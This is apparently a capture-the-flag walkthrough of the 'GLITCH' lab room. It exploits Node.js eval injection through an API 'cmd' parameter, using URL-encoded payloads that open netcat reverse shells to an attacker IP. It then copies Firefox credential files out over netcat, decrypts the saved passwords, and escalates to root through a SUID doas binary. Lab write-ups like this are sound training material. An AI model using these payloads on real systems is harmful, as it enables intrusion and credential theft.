Posts GLITCH
Post
Cancel

GLITCH

Description

Challenge showcasing a web app and simple privilege escalation. Can you find the glitch?

RoomGLITCH
OSLinux
DifficultyEasy
Creatorinfamous55

Starting off with deploying the machine and quickly scanning the open ports with rustscan,

1
rustscan -a 10.10.12.115 --ulimit 5000

image

We got the open ports and now we can scan them in detail using nmap,

1
nmap -sC -sV -p80 10.10.12.115 -oN nmap.txt

image

Result scan shows that only port 80 is open which is running nginx server. Let’s enumerate port 80.

Visit http://10.10.12.115,

image

we are presented with a distorted picture and we can’t do nothing much with it.

Let’s check the source code,

1
2
3
4
5
6
7
8
9
10
11
12
13
</head>
<body>
  <script>
    function getAccess() {
      fetch('/api/access')
        .then((response) => response.json())
        .then((response) => {
          console.log(response);
        });
    }
   </script>
</body>
</html>

The code inside <script> tag is interesting, it runs fetch API to send a request to /api/access and extracts the JSON response to log it.

After discovering endpoint /api/access, we can navigate to see what’s there,

image

we got a base64 encoded token.

Let’s decode this token using command,

1
echo "b64-string" | base64 -d

image

we got decoded token, which is the first flag of the machine.

Let’s set the decoded value in storage firefox dev tools,

image

and we will refresh the webpage and we will get new page,

image

but there is nothing new on this webpage.

Let’s take a look at source code,

1
2
3
4
5
6
7
<section id="click-here-sec">
      <a href="#">click me.</a>
    </section>

    <script src="js/script.js"></script>
  </body>
</html>

We got a path to javascript file.

Let’s take a look at javascript file,

1
2
3
4
5
6
(async function () {
  const container = document.getElementById('items');
  await fetch('/api/items')
    .then((response) => response.json())
    .then((response) => {
      response.sins.forEach((element)

we have another function which holds the path /api/items.

Let’s visit http://glitch.thm/api/items,

image

We get a response, let’s switch to curl and investigate further,

1
curl http://glitch.thm/api/items

image

A normal request like above is doing a GET, what happens if we instead try a POST:

1
curl -X POST http://glitch.thm/api/items

image

we can assume there is a parameter needed based on that response.

We can try to fuzz the parameter,

1
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/medium.txt --hc 400 -X POST -u http://glitch.thm/api/items\?FUZZ\=test

image

we’ve fuzzed the parameter ‘cmd’ and told the wfuzz to only display results were the response wasn’t 400 Bad Request.

Let’s use the curl command again using the parameter we got,

1
curl -X POST http://glitch.thm/api/items?cmd=test

image

we got a lengthy error message which tells us 2 things.

First things there is a function which doesn’t like our input,

image

we got another error in NodeJs application as it mentions node_modules,

image

I don’t know about the eval function and if it’s exploitable, but a quick search found this and this, both explain how to take advantage of it.

Let’s start netcat listener using nc -nvlp 4444 and then let’s execute this command,

1
curl -X POST http://glitch.thm/api/items?cmd=require('child_process').exec('nc -e /bin/sh 10.9.2.86 4444')

image

it won’t work since we haven’t encoded it yet.

Let’s try this command again after encoding it,

1
curl -X POST http://glitch.thm/api/items?cmd=require%28%27child_process%27%29.exec%28%27nc%20-e%20%2Fbin%2Fsh%2010.9.2.86%204444%27%29

image

which looks good but listenerp doesn’t catch anything. So let’s change the payload to netcat reverse one-liner from bash reverse one-liner.

Executing this command and we will get the shell,

1
curl -X POST http://glitch.thm/api/items?cmd=require%28%27child_process%27%29.exec%28%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.9.2.86%204444%20%3E%2Ftmp%2Ff%27%29

image image

Let’s improve upon this shell using sequence of commands,

1
2
3
4
5
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116

Enumerating user directory and we got the user flag,

image

While there is a hidden firefox directory, I decide to navigate to it. This may contain saved passwords for the user. After enumerating, there are two files that can be used to extract any saved credentials.

First let’s copy the files over to our kali machine by starting netcat listener,

1
2
nc -nvlp 5555 > key4.db (attacker)
nc -nv 10.9.2.86 5555 < key4.db (victim)

doing same with second file,

1
2
nc -nvlp 5555 > logins.json
nc -nv 10.9.2.86 5555 < logins.json

Let’s grab the script Firepwd.py from github, an open source tool to decrypt Mozilla protected passwords.

Let’s clone the file from github, installing requirements, moving both files to firepwd directory and then running the script using python3,

1
2
3
git clone https://github.com/lclevy/firepwd.git; cd firepwd; pip install -r requirements.txt
mv key4.db logins.json /path/to/firepwd
python3 firepwd.py

image

and the bottom of the screenshot, we get our username and password in plain text.

Next, we can switch to v0id user,

1
su v0id

image

Now, checking if there is any binary which we can run using sudo to escalate our privileges,

1
sudo -l

image

we can’t run any because we don’t have permission to.

Let’s find those binaries which have SUID bit set on them,

1
find / -perm -04000 -type f 2>/dev/null

image

there is /usr/local/bin/doas binary which has SUID bit set on it. So we can use this binary to escalate our privileges.

Running this binary,

1
/usr/local/bin/doas

image

we now know how to run this binary with some arguments.

Using command below, we can escalate our privileges to root user,

1
/usr/local/bin/doas -u root /bin/bash

image

This post is licensed under CC BY 4.0 by the author.